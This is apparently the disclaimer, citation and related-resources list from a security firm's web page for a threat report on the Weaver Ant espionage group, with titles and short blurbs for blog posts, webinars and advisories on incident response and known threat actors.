This advisory and any information or recommendation contained herein has been prepared for general informational purposes and is not intended to be used as a substitute for professional consultation on facts and circumstances specific to any entity. While we have made attempts to ensure the information contained herein has been obtained from reliable sources and to perform rigorous analysis, this advisory is based on initial rapid study, and needs to be treated accordingly. Sygnia is not responsible for any errors or omissions, or for the results obtained from the use of this Advisory. This Advisory is provided on an as-is basis, and without warranties of any kind. 

APA citation (7th Ed.)

Weaver Ant, the Web Shell Whisperer: Tracking a Live China-nexus Operation. (2025, March 24). Weaver Ant, the Web Shell Whisperer: Tracking a Live China-nexus Operation, Sygnia.
https://sygnia-stg.prpl.global/threat-reports-and-advisories/weaver-ant-tracking-a-china-nexus-cyber-espionage-operation/

Related Resources

Investigating Data Extortion Involving Trusted Vendor Access
Blog

Investigating Data Extortion Involving Trusted Vendor Access

Learn how sensitive data left an organization through legitimate vendor access, and what the investigation revealed about logging and evidence preservation.
Cyber Insurance in Practice: What to Know Before an Incident
Webinars

Cyber Insurance in Practice: What to Know Before an Incident

Join Sygnia’s Tim Smit for a practical client briefing on how to prepare your organization to use its cyber insurance effectively.
Incident Response Best Practices: Strategies, Tools & Plans
Blog

Incident Response Best Practices: Strategies, Tools & Plans

Build incident response best practices into your plan, team, tools, and exercises, using NIST SP 800-61 Rev. 3 and lessons from real investigations.
AI Webinar Series Recordings
Webinars

AI Webinar Series Recordings

Join Sygnia experts for a two-part webinar series examining how AI-related threats are becoming an operational reality for many organizations and the practical approaches security teams should take to protect their business from them.
Sygnia Unveils Security Operations Center Hubs and Expands AI-Powered Cybersecurity Capabilities To Challenge Threat Attack Rise
Press Release

Sygnia Unveils Security Operations Center Hubs and Expands AI-Powered Cybersecurity Capabilities To Challenge Threat Attack Rise

Sygnia’s next phase of global growth focuses on AI-driven innovation across MDR, incident response, and proactive security services.
AI Threat Realities Prompt Proactive Security Readiness
Webinars

AI Threat Realities Prompt Proactive Security Readiness

Join Sygnia experts for a two-part webinar series examining how AI-related threats are becoming an operational reality for many organizations and the practical approaches security teams should take to protect their business from them.
When IT Support Is the Attack: How Law Firms Can Defend Against Silent Ransom Group
Blog

When IT Support Is the Attack: How Law Firms Can Defend Against Silent Ransom Group

Strengthen your readiness against Silent Ransom Group. As SRG increasingly uses IT impersonation and legitimate remote-access tools to target law firms, firms should review how they verify support interactions, protect sensitive client data and detect suspicious activity.
When IT Support Is the Attack: Defending Law Firms Against Silent Ransom Group
Webinars

When IT Support Is the Attack: Defending Law Firms Against Silent Ransom Group

Join us for practical session on how law firms can defend against Silent Ransom Group and similar threats that turn trusted IT support into a path to sensitive client data.
Shai-Hulud in the Wild: What Security and Incident Response Teams Need to Know
Blog

Shai-Hulud in the Wild: What Security and Incident Response Teams Need to Know

Learn how Shai-Hulud compromises trusted software workflows, exposes credentials across CI/CD environments, and creates attack paths into cloud, production, and downstream systems, and how security teams can contain and recover from the compromise.
Exfiltration in Plain Sight: How the SafePay Ransomware Group Abused OneDrive to Steal Data
Blog

Exfiltration in Plain Sight: How the SafePay Ransomware Group Abused OneDrive to Steal Data

Expose how ransomware operators abuse trusted cloud services like OneDrive to bypass traditional security controls, exfiltrate sensitive data over legitimate HTTPS traffic, and hide malicious activity within normal business operations.
Sygnia Reveals New Activity by China-Nexus Threat Actor Fire Ant Targeting Trusted Infrastructure
Press Release

Sygnia Reveals New Activity by China-Nexus Threat Actor Fire Ant Targeting Trusted Infrastructure

Incident Response leader reveals long-running espionage activity abusing routers, authentication systems and Linux management hosts to collect intelligence and explore paths toward connected high-value environments.
How to Secure Enterprise AI: From Adoption to Incident Readiness
Guides and tools

How to Secure Enterprise AI: From Adoption to Incident Readiness

Learn where AI risk lives across the enterprise and how to secure AI across its full lifecycle with Sygnia’s practical AI security framework.
Shai-Hulud in the Wild: What Security and IR Teams Need to Know
Webinars

Shai-Hulud in the Wild: What Security and IR Teams Need to Know

What happens when software supply-chain attacks compromise not only packages, but the trusted systems and workflows used to build and distribute them?
Incident Response vs. Crisis Management: Why Treating Them as the Same Thing Is Dangerous
Blog

Incident Response vs. Crisis Management: Why Treating Them as the Same Thing Is Dangerous

Incident response contains the attack. Crisis management protects the business. Learn why conflating the two is dangerous and how to align them.
Sygnia Brings Expert-Led Managed Detection and Response to AWS Marketplace
Press Release

Sygnia Brings Expert-Led Managed Detection and Response to AWS Marketplace

Company joins the AWS ISV Accelerate Program, making it easier for AWS customers to access Sygnia MDR with bundled incident response support
Why Most OT Cyber Incidents Never Reach the OT Environment
Blog

Why Most OT Cyber Incidents Never Reach the OT Environment

Learn why modern industrial operations depend on IT, the misconceptions that leave organizations exposed, and how anti-fragile resilience keeps production running when IT is compromised.
Exfiltration in Plain Sight: SafePay’s OneDrive Play
Webinars

Exfiltration in Plain Sight: SafePay’s OneDrive Play

Get an inside look at the attack path, the forensic evidence that exposed the OneDrive exfiltration technique, and the practical detection opportunities defenders can use to uncover similar activity before it becomes a full-scale extortion event.
When Technical Controls Work, Attackers Change the Rules: How a Failed Intrusion Became a Data Exposure Incident
Blog

When Technical Controls Work, Attackers Change the Rules: How a Failed Intrusion Became a Data Exposure Incident

Discover how a failed intrusion quickly became a data exposure incident after a threat actor pivoted from blocked technical attacks to social engineering, and why layered defenses, rapid response, and operational safeguards are essential when attackers change the rules.
Ransomware Incident Response in 2026: What Has Changed and What CISOs Are Still Getting Wrong
Blog

Ransomware Incident Response in 2026: What Has Changed and What CISOs Are Still Getting Wrong

Learn what has changed in ransomware incident response in 2026, and what CISOs are still getting wrong
Sygnia Investigation Finds AI Accelerated Attack Enabled Lone Threat Actor to Rapidly Compromise Enterprise Cloud Environment
Press Release

Sygnia Investigation Finds AI Accelerated Attack Enabled Lone Threat Actor to Rapidly Compromise Enterprise Cloud Environment

Financially motivated cyberattack reveals agentic AI workflows to accelerate victim reconnaissance, attack tool development, command structuring and environment-specific adaptation.
On-Demand Webinar: Inside an AI-Assisted Cloud Attack
Webinars

On-Demand Webinar: Inside an AI-Assisted Cloud Attack

Watch a practical session based on Sygnia’s investigation of an AI-assisted cloud intrusion that progressed from initial access to broad compromise in just 72 hours.
Inside an AI-Assisted Cloud Attack: Familiar Techniques at Unfamiliar Speed
Blog

Inside an AI-Assisted Cloud Attack: Familiar Techniques at Unfamiliar Speed

Learn how a threat actor used AI to accelerate a cloud attack from initial access to broad compromise in just 72 hours
Why 73% of Organizations Still Aren’t Ready for a Cyberattack
Blog

Why 73% of Organizations Still Aren’t Ready for a Cyberattack

Explore lessons from Sygnia's 2026 CISO Survey on Incident Response Readiness.
Crypto Security in 2026: Why Transaction Authority Is the Most Important Security Control
Blog

Crypto Security in 2026: Why Transaction Authority Is the Most Important Security Control

Most crypto breaches occur when attackers reach transaction authority. Learn how to secure identities, infrastructure, and authorization systems.
2026 Gartner® Hype Cycle™ for CPS Security
Guides and tools

2026 Gartner® Hype Cycle™ for CPS Security

Gain valuable insights into CPS security innovations, threats, and technology evolution.
Velvet Ant’s Operation Highland: How a China-Nexus Actor Infiltrated an Internal Network Undetected
Blog

Velvet Ant’s Operation Highland: How a China-Nexus Actor Infiltrated an Internal Network Undetected

Discover the detailed forensic investigation by Sygnia into the sophisticated cyber attack by Velvet Ant on a major organization.
Incident Response Metrics That Actually Matter to Boards (And the Ones That Don’t)
Blog

Incident Response Metrics That Actually Matter to Boards (And the Ones That Don’t)

Learn which incident response metrics boards actually need to make decisions, and which ones create false confidence.
8 Incident Response Plan Mistakes That Lead to Failures
Blog

8 Incident Response Plan Mistakes That Lead to Failures

Learn the 8 critical incident response mistakes that leave 73% of organizations unprepared, and how to close the execution gaps that turn manageable cyber incidents into full-scale business crises.
The Mythos Effect: Preparing for AI-Accelerated Exploitation
Threat Reports and Advisories

The Mythos Effect: Preparing for AI-Accelerated Exploitation

How Vulnerability Management Programs Must Evolve
CISO Survey 2026: The State of Incident Response Readiness
Guides and tools

CISO Survey 2026: The State of Incident Response Readiness

Benchmark your readiness against 600 peers and gain data-driven insights into how ready organizations truly are to manage a significant cyberattack.
How to Leverage an Incident Response Retainer
Blog

How to Leverage an Incident Response Retainer

Discover how to get the most from an incident response retainer, and what sets apart a provider that can respond effectively when your organization is under real pressure.
Exfiltration in Plain Sight: SafePay’s OneDrive Play
Blog

Exfiltration in Plain Sight: SafePay’s OneDrive Play

Discover how SafePay’s rapid, high-pressure ransomware campaigns unfold, and what Sygnia learned while investigating a real-world double extortion attack that put a global organization to the test.
Incident Response in the AI Threat Era: What Boards Must Re-Evaluate in 2026
Blog

Incident Response in the AI Threat Era: What Boards Must Re-Evaluate in 2026

Explore how AI-driven cyber threats are reshaping board-level risk decisions and what executives must re-evaluate for incident response in 2026.
What 2025’s Major Cyber Incidents Taught Executives About Incident Response Readiness
Blog

What 2025’s Major Cyber Incidents Taught Executives About Incident Response Readiness

Discover what Threat Detection, Investigation & Response (TDIR) means for modern enterprises, including frameworks, risks, and executive-level decision insights.
Inside a Sophisticated Recovery Scam Network: Evidence from a Live Investigation into Legal Services Impersonation
Blog

Inside a Sophisticated Recovery Scam Network: Evidence from a Live Investigation into Legal Services Impersonation

A live investigation into a global recovery scam network exploiting business impersonation, fake websites, and repeat victimization across industries.
Threat Intelligence Exposure Monitoring
Datasheet

Threat Intelligence Exposure Monitoring

Sygnia offers a suite of services that are designed and proven to enhance cloud cyber resilience.
Incident Response and SOC Training Services
Datasheet

Incident Response and SOC Training Services

Sygnia offers a suite of services that are designed and proven to enhance cloud cyber resilience.
Pathfinder
Datasheet

Pathfinder

Sygnia offers a suite of services that are designed and proven to enhance cloud cyber resilience.
Incident Response Services
Datasheet

Incident Response Services

Sygnia offers a suite of services that are designed and proven to enhance cloud cyber resilience.
Incident Response and Retainer Services
Datasheet

Incident Response and Retainer Services

Sygnia offers a suite of services that are designed and proven to enhance cloud cyber resilience.
What is Threat Detection, Investigation & Response (TDIR)
Blog

What is Threat Detection, Investigation & Response (TDIR)

Discover what Threat Detection, Investigation & Response (TDIR) means for modern enterprises, including frameworks, risks, and executive-level decision insights.
Incident Response Strategies for Technology and SaaS Companies
Blog

Incident Response Strategies for Technology and SaaS Companies

Executive-level incident response strategies for Technology and SaaS companies to strengthen resilience, reduce business impact, and accelerate recovery.
Developing Incident Response Team Communication and Coordination Practices
Blog

Developing Incident Response Team Communication and Coordination Practices

Master incident response communication with proven frameworks that align teams, accelerate decisions, and minimize business impact during cyber crises.
Creating Incident Response Policies and Procedures: Best Practices
Blog

Creating Incident Response Policies and Procedures: Best Practices

Learn how to create effective incident response policies and procedures with best practices that strengthen resilience, compliance, and recovery.
A Tactical Approach to Incident Response: Navigating the Aftermath of a Cyber Attack
Blog

A Tactical Approach to Incident Response: Navigating the Aftermath of a Cyber Attack

When a cyber attack strikes, every second counts. At Sygnia, we deploy a tactical, multi-stream approach to incident response—prioritizing rapid containment, eradication, and operational resilience while conducting deep investigations. Learn how parallel execution ensures faster recovery and stronger security outcomes.
What is an Incident Response Retainer, Key Features and Benefits, and Why It Matters
Blog

What is an Incident Response Retainer, Key Features and Benefits, and Why It Matters

Learn about incident response retainers, their key features, benefits, and why they are essential for protecting your organization from cyber threats.
The Anatomy of Abyss Locker Ransomware Attack
Blog

The Anatomy of Abyss Locker Ransomware Attack

Abyss Locker ransomware targets critical network devices with swift, disruptive attacks. This blog breaks down its tactics and defense strategies.
How to Run Incident Response Tabletop Exercises in 2026
Blog

How to Run Incident Response Tabletop Exercises in 2026

Discover how to prepare your organization for cyber threats in 2026 with incident response tabletop exercises. Learn strategies to strengthen your response plans.
CrowdStrike Fallout: Navigating the Risks of Intrusive Security Tools
Blog

CrowdStrike Fallout: Navigating the Risks of Intrusive Security Tools

Learn how to balance robust cybersecurity with operational stability in the wake of the CrowdStrike outage.
China-Nexus Threat Group ‘Velvet Ant’ Leverages a Zero-Day to Deploy Malware on Cisco Nexus Switches
Blog

China-Nexus Threat Group ‘Velvet Ant’ Leverages a Zero-Day to Deploy Malware on Cisco Nexus Switches

Sygnia uncovers the China-Nexus group ‘Velvet Ant’ leveraging a zero-day exploit (CVE-2024-20399) on Cisco Switch appliances, escalating evasion tactics to maintain long-term network persistence.
What is a Rootkit? Exploring the Hidden Threats and Their Impact on System Security
Blog

What is a Rootkit? Exploring the Hidden Threats and Their Impact on System Security

Learn what Rootkits are, how sophisticated threat actors leverage them to gain full control of computers and systems, and how to protect your systems from this unique risk.
Incident Response Readiness: What is it and how to improve it?
Guides and tools

Incident Response Readiness: What is it and how to improve it?

The most dangerous cyber attackers have something in common: they are tenacious at their craft and dogged in their determination to find and exploit security weaknesses.
The Return of Ghost Emperor’s Demodex
Blog

The Return of Ghost Emperor’s Demodex

A Comprehensive Look at the Updated Infection Chain of Ghost Emperor's Demodex Rootkit.
Sygnia Recognized for the Third Consecutive Year in The Gartner 2024 Market Guide for Digital Forensics and Incident Response Retainer Services
Blog

Sygnia Recognized for the Third Consecutive Year in The Gartner 2024 Market Guide for Digital Forensics and Incident Response Retainer Services

In June, Sygnia, was named a Representative Vendor in the 2024 Gartner® Market Guide for Digital Forensics and Incident Response Retainer Services (DFIR).
China-Nexus Threat Group ‘Velvet Ant’ Exploits Cisco Zero-Day (CVE-2024-20399) to Compromise Nexus Switch Devices – Advisory for Mitigation and Response
Blog

China-Nexus Threat Group ‘Velvet Ant’ Exploits Cisco Zero-Day (CVE-2024-20399) to Compromise Nexus Switch Devices – Advisory for Mitigation and Response

Learn about the forensic investigation by Sygnia, the cyber espionage operation by Velvet Ant, and best practices for safeguarding your network against sophisticated threats.
China-Nexus Threat Group ‘Velvet Ant’ Abuses F5 Load Balancers for Persistence
Blog

China-Nexus Threat Group ‘Velvet Ant’ Abuses F5 Load Balancers for Persistence

Discover the detailed forensic investigation by Sygnia into the sophisticated cyber attack by Velvet Ant on a major organization.
Navigating the Digital Minefield
Blog

Navigating the Digital Minefield

Part 1: A Thrilling Guide to Mastering Cyber Crisis Management. Explore real-world cyber crises reimagined as high-stakes dramas, from WannaCry to Target's breach.
Chapter 3 – Reversing DoSvc C++ using Ghidra – Part 1
Blog

Chapter 3 – Reversing DoSvc C++ using Ghidra – Part 1

In this chapter, we’ll finally get started on my favorite part: the reversing phase. Reversing is like looking for a needle in a haystack, so prepare yourselves, because things are about to get technical.
Chapter 2 – Black Box Research
Blog

Chapter 2 – Black Box Research

The intricacies of WUDO (Windows Update Delivery Optimization).
The Anatomy of a BlackCat (ALPHV) Attack
Blog

The Anatomy of a BlackCat (ALPHV) Attack

Explore the thwarted cyber extortion attempt by the BlackCat ransomware group, unraveled by Sygnia's Incident Response team in 2023.
Proof of Concept: Overcoming Google Cloud Incident Response Issues with ‘Mirage’
Blog

Proof of Concept: Overcoming Google Cloud Incident Response Issues with ‘Mirage’

How the Mirage tool developed by Sygnia assists in evidence collection & investigation, while uncovering key log analysis & incident response strategies for Google Cloud.
Announcing ‘Mirage’ – New Opensource Tool to Combat Google Cloud Incident Response Challenges
Blog

Announcing ‘Mirage’ – New Opensource Tool to Combat Google Cloud Incident Response Challenges

New open-source tool streamlines incident response in Google Workspace & GCP. Overcome challenges, access data, & gain insights faster. Learn more about Mirage & Google Cloud forensics in our blog series.
The SEC’s SolarWinds investigation in Context: Lessons from 100 Enterprise Security Assessments Governance & Compliance
Blog

The SEC’s SolarWinds investigation in Context: Lessons from 100 Enterprise Security Assessments Governance & Compliance

SEC charges SolarWinds & CISO with misleading statements about security practices. Learn how SolarWinds compares to other companies & what you can do to improve your security posture.
Building Cyber Readiness: 5 Traits of the World’s Most Cyber-Ready Organizations
Guides and tools

Building Cyber Readiness: 5 Traits of the World’s Most Cyber-Ready Organizations

The most dangerous cyber attackers have something in common: they are tenacious at their craft and dogged in their determination to find and exploit security weaknesses.
Sygnia Annual Field Report
Blog

Sygnia Annual Field Report

From relentless adversaries to resilient businesses, the Sygnia Annual Field Report offers unique insights and strategic guidance to strengthen your cybersecurity defenses against the ever-evolving threat landscape.
Mitigation Advisory: Fortinet and Ivanti Exploitable Vulnerabilities
Threat Reports and Advisories

Mitigation Advisory: Fortinet and Ivanti Exploitable Vulnerabilities

Protect your network against critical remote code execution vulnerabilities in Fortinet and Ivanti (formerly Pulse Secure) devices, now actively exploited in the wild.
Why monitoring monitors is the key to cyber threat resilience
Blog

Why monitoring monitors is the key to cyber threat resilience

Protect your organization by monitoring the monitors – a critical defense against cyber threats.
Diving into the new windows 11 PCA artifact
Blog

Diving into the new windows 11 PCA artifact

Discover the new forensic artifact in Windows 11 (22H2) and explore its format and behavior. Learn how to leverage it in investigations with our comprehensive documentation for DFIR practitioners.
Breaking Down the Casbaneiro Infection Chain – Part II
Blog

Breaking Down the Casbaneiro Infection Chain – Part II

Since 2018, the Casbaneiro banking trojan has targeted Latin American financial sectors. Sygnia monitors it closely as a major threat to multi-regional financial organizations.
Case Study: cracking a global Adversary-In-The-Middle campaign using a threat intelligence toolkit
Blog

Case Study: cracking a global Adversary-In-The-Middle campaign using a threat intelligence toolkit

Using a variety of CTI enrichment techniques Sygnia was able to determine that the BEC attack was only a part of a much wider campaign, potentially impacting dozens of world-wide organizations.
Threat Actor Spotlight: RagnarLocker Ransomware
Blog

Threat Actor Spotlight: RagnarLocker Ransomware

Explore the threat of RagnarLocker ransomware. Uncover its tactics and implications in this Sygnia blog spotlight on cyber threats.
Incident Response in Google Cloud: Forensic Artifacts
Blog

Incident Response in Google Cloud: Forensic Artifacts

Discover effective incident response in Google Cloud. Learn how to analyze forensic artifacts for swift resolution. Expert insights on Sygnia blog.
Incident Response in Google Cloud: Foundations
Blog

Incident Response in Google Cloud: Foundations

Incident response and threat hunting in Google Cloud Platform and Workspace
Revealing Emperor Dragonfly: Night Sky and Cheerscrypt – A Single Ransomware Group
Threat Reports and Advisories

Revealing Emperor Dragonfly: Night Sky and Cheerscrypt – A Single Ransomware Group

The outcome of investigation by Sygnia's incident response teams - Cheerscrypt & Night Sky are rebrands of one ransomware group, named ‘Emperor Dragonfly’.
Vice Society Ransomware Group: Threats to Health & Education Sector
Blog

Vice Society Ransomware Group: Threats to Health & Education Sector

Professionals across all industries, agree that the Vice Society ransomware group is a major cyber threat, especially in health & education sector
Vice Society TTPs: Insights from a Real-World Ransomware Investigation
Blog

Vice Society TTPs: Insights from a Real-World Ransomware Investigation

Get technical insights based on forensic investigations of Vice Society (ransomware group carrying out double extortion attacks) conducted by our IR team.
Luna Moth Ransomware: The Threat Actors Behind Recent False Subscription Scams
Blog

Luna Moth Ransomware: The Threat Actors Behind Recent False Subscription Scams

Sygnia’s team identified 'Luna Moth' ransom group. The threat actors resemble false subscription scammers, focusing on corporate data theft.
Hybrid Phishing Attack Vector – Complementing Phishing Campaigns
Blog

Hybrid Phishing Attack Vector – Complementing Phishing Campaigns

Cyber-crime groups are targeting Java-based infrastructures susceptible to the Log4Shell vulnerability and are delivering Qakbot phishing emails
The Misconceptions of 2021’s Black Swan Cyber Events
Blog

The Misconceptions of 2021’s Black Swan Cyber Events

Here are 3 common misconceptions about Black swan events that are considered incidents with high impact and low frequency that are impossible to predict.
Key Takeaways Leak of Conti crime group information
Threat Reports and Advisories

Key Takeaways Leak of Conti crime group information

Shared thoughts and insights following our analysis of the leaked Conti (cyber crime group) information and the groups modus operandi.
Breaking Down the Casbaneiro Infection Chain
Blog

Breaking Down the Casbaneiro Infection Chain

The Casbaneiro banking trojan targets financial organizations to steal user data for financial gain. Get a detailed “attacker fingerprint”.
Potential Okta Breach
Threat Reports and Advisories

Potential Okta Breach

In light of evidence of a successful Okta breach, we recommend taking several steps to mitigate potential risk for organizations leveraging Okta solutions.
Russia–Ukraine Conflict Escalation
Threat Reports and Advisories

Russia–Ukraine Conflict Escalation

An advisory to keep leadership updated & support global organizations enhance cyber resilience as we monitor the conflict between Russia & Ukraine.
7 Cyber Attacks That Kept the Industry Talking in 2021
Blog

7 Cyber Attacks That Kept the Industry Talking in 2021

A journey back through 2021 - What we’ve learned from 5 major cyber attacks that took place in 2021 as well as 2 new threat actors identified by Sygnia.
Elephant Beetle: Uncovering an Organized Financial-Theft Operation
Threat Reports and Advisories

Elephant Beetle: Uncovering an Organized Financial-Theft Operation

Sygnia’s IR team has identified the Elephant Beetle threat group, an organized, significant financial-theft operation threatening global enterprises. 
It’s a Threat Actor’s Paradise: Getting Ahead of Attackers in 2022
Blog

It’s a Threat Actor’s Paradise: Getting Ahead of Attackers in 2022

Achieving cyber resilience in the hostile attack terrain comes down to an organization’s ability to flip the asymmetry between them and the threat actors.
End-to-End LOG4SHELL Hunting Strategy
Blog

End-to-End LOG4SHELL Hunting Strategy

Defenders, hunt for Log4Shell exploitation attempts, distinguish between failed and successful attempts and identify post-exploitation activities.
Log4Shell Remote Code Execution
Threat Reports and Advisories

Log4Shell Remote Code Execution

Critical remote code execution vulnerability in a software logging package called “Log4Shell” (CVE-2021-44228) is impacting millions of devices globally
Recent Waves of Phishing Attacks Overpowering 2-factor Authentication
Blog

Recent Waves of Phishing Attacks Overpowering 2-factor Authentication

Phishing attacks are still a leading attack vector for threat actors globally, & are evolving in prevalence & sophistication given work-from-home models
Praying Mantis An Advanced Memory Resident Attack
Threat Reports and Advisories

Praying Mantis An Advanced Memory Resident Attack

Sygnia researchers identified an advanced threat actor targeting high profile US organizations, using nation-state attack methods, and operating in-memory.
Kaseya Ransomware Supply Chain Attack
Threat Reports and Advisories

Kaseya Ransomware Supply Chain Attack

Get a deep dive into the Kaseya ransomware attack, and how you can deploy effective defense strategies.
Lazarus Group’s Mata Framework Leveraged To Deploy TFlower Ransomware
Threat Reports and Advisories

Lazarus Group’s Mata Framework Leveraged To Deploy TFlower Ransomware

Sygnia: Double extortion ransomware attack - threat actor leveraged an undocumented variant of MATA to distribute and execute the TFlower ransomware.
Detection And Hunting Of Golden SAML Attack
Threat Reports and Advisories

Detection And Hunting Of Golden SAML Attack

Get actionable insights on how to detect a Golden SAML attack vector and an overview of the compromise at SolarWinds.
Demystifying The PrintNightmare Vulnerability
Threat Reports and Advisories

Demystifying The PrintNightmare Vulnerability

Learn about the PrintNightmare vulnerability, why it's such a cause for concern and how to mitigate the risk.
subsctibe decor
Want to get in touch?